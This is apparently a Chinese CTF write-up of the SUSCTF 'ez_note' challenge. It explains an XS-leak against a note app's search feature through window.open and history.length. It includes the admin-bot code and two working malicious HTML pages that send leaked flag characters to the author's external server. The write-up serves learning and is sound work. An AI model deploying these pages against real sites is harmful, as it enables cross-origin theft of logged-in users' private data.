默认分类

从 SUSCTF 学 XS-leak

前言:参加了SUSCTF,发现了一个非常有意思的目标很明显的xsleak题目。走了很多弯路,最后在赛后做出来了。从这道题学到了很多js编写规范以及特性。感觉十分有趣,虽然可能和正常漏洞的利用手法相差较远,但也是非常有意思的一个知识点。

ez_note

首先下载附件 给出了bot的访问规则。

const opt = {
    name: "ez_note",
    router: "ez_note",
    site: process.env.NOTE_SITE ?? "",
    template: "note"
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const visit = async (browser, path) =>{
    let site = process.env.NOTE_SITE ?? ""
    let url = new URL(path, site)
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto( site+"/signin")
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(5000) /// waiting 5 second.

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

可以看到它在登录自己的账号之后关闭了页面 然后进行 我们给出的页面的访问。
那么首先我们需要让浏览器能够携带cookie来访问进行类似csrf的操作。

这里通过搜索了 Lax 这一feature ,在使用window.open的时候 浏览器可以携带cookie继续进行访问 能够保持原来登录的会话基础上在做查询。那么这一点就满足了我们 xs-leak的第一个条件。
我们继续观察题目,首先我们应该考虑找到他能够进行xss或者说让bot来访问我们的点。
可以观察到

这个页面可以进行文章创建,其中用户名、文章 、文章标题都是可控,但是所有的内容都会被转义。那么这里就没有意义了。

可以看到bot的页面如下,
给出了前面的一部分url,但是抓包发现,传的其实是后面的一个完整url,和前面没有热任何关系,尝试让他访问vps

那么这里就已经有了xss的点。现在考虑的是用什么做为xs-leak的判断条件。
经过fuzz 我们可以发现,在search处可以对文章进行查询。
如果查询到仅有一篇文章满足条件 就会跳转到该文章处。
这里赛时我就开始走弯路了,因为我发现其对于访问时进行了延时设计 是1000ms
我考虑这里可以进行时间延迟的测试。于是写下了这种恶意页面进行测试。

<!DOCTYPE html>
<html>
<head>
    <title>Evil page</title>
</head>
<script>
        const start=Date.now();
</script>
<body>

<script>
    function go(){
        let w = window.open("http://123.60.29.171:10001/search?word=S",'');
        const end = Date.now();
        var req = new XMLHttpRequest();
        req.open('get',`http://82.156.18.214:8888/result?word=S=${end - start}`,true);
        req.withCredentials = true;
        req.send();
    }
</script>
<img onerror=go() src='xxx'>
</body>
</html>

但这里有一个最大的问题,就是 window.open的异步问题,我们并不能知道新开页面的内容是否加载完成以及跳转。所以很难对于时间进行控制。

赛后学习到的一种新方式利用window.history.length 来查看 bot查看过多少个页面。但是这种调用方式不能跨域。会被CORS拦截。所以我们需要等其加载完毕后让他重定向到“about:blank”页面,再算这个window.history.length这样就可以成功进行xs-leak了。结合上面的/search中的?q=“”这种方法逐位leak出flag。
由于flag就代表着文章有这个字符,所以会进行跳转,使得window.history.length+1 也就是3.所以这里编写出如下的恶意页面。

<!DOCTYPE html>
<html>
<head>
    <title>Evil page</title>
</head>
<body>

<script>
    async function test() {
        let url = 'http://123.60.29.171:10001/search?q=SUSCTF{';
        let win = open(url);
        // Wait for the window to be cross-origin
        await new Promise(r => setInterval(() => {
            try {
                win.origin.slice()
            } catch (e) {
                r(e)
            }
        }, 1));
        // Change the location
        win.location = url ;
        // Skip one microtask
        await new Promise(resolve => setTimeout(resolve, 2000));
        // Change the location to same-origin
        win.location = 'about:blank';
        // Wait for the window to be same-origin
        await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
        // See how many entries exist in the history
       window.open('http://82.156.18.214:8888/result?word=SUSCTF{='+win.history.length, false);
            // XSS auditor did not trigger
    
}
</script>
<img src='xxx' onerror=test()>
</body>
</html>

然后实现自动化 利用python起flask监听,html页面里面套一层进行这一位情况的枚举。由于他的bot访问页面有验证码。这里就不会饶过了,只能手动点。
flag不是很长。

这种就代表是flag,匹配上了。

回复 / 取消回复

  1. Backr0d Backr0d
    Chrome 98 10

    师傅,图片上的ip地址打了码,但是在你的脚本里还是把你自己的vps泄漏了?有个问题想要请教下,自己构造的html是直接放在什么位置

    1. Retr_0 Retr_0
      Chrome 99 10

      qs 傻了 不过无所谓了 hhh

    2. Retr_0 Retr_0
      Chrome 99 10

      /var/www/html 啊 你开http服务也行。

This is just a placeholder img.